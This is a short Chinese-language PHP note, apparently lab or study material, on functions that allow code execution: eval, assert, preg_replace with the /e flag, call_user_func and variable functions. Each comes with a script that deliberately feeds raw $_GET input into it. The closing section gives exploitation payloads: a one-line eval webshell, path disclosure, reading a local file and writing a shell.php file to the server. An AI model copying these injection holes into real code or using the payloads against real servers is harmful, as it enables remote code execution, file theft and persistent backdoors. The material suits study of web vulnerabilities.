PHP下,允许命令执行的函数有
eval()
assert()
preg_replace()
call_user_func()
$a($b)
eval()
<?php
if(isset($_GET['a'])){
eval($_GET['a']);
}
else{
echo "Please input a";
}
?>
assert()
<?php
if(isset($_GET['a'])){
assert($_GET['a']);
}
else{
echo "Please input a";
}
?>
preg_replace()
<?php
if(isset($_GET['a'])){
//Preg_replace("/\[(.*)\]/e",'\\1',$_GET['a']);
Preg_replace("/(.*)/e",'\\1',$_GET['a']);
}
else{
echo "Please input a";
}
?>
call_user_func()
<?php
if(isset($_GET['a'])){
call_user_func($_GET['a'],$_GET['b']);
}
else{
echo "Please input a";
}
?>
$a($b)()
<?php
if(isset($_GET['a'])&isset($_GET['b'])){
@$a = $_GET['a'];
@$b = $_GET['b'];
@$a($b);//函数,可变函数
//$a就是函数的名
//$b就是函数的值
//?a=assert&b=phpinfo()
//assert(phpinfo());
}else{
echo "Please input a&b";
}
?>
远程命令执行漏洞利用
一句话木马
?a=@eval($_POST[cmd]);
获取当前绝对路径
?a=print(__file__);
读取文件
?a=var_dump(file_get_contents('D:\phpStudy2018\PHPTutorial\WWW\1.txt'));
写shell
?a=var_dump(file_put_contents($_POST[1],$_POST[2]));
1=shell.php&2=<?php phpinfo();?>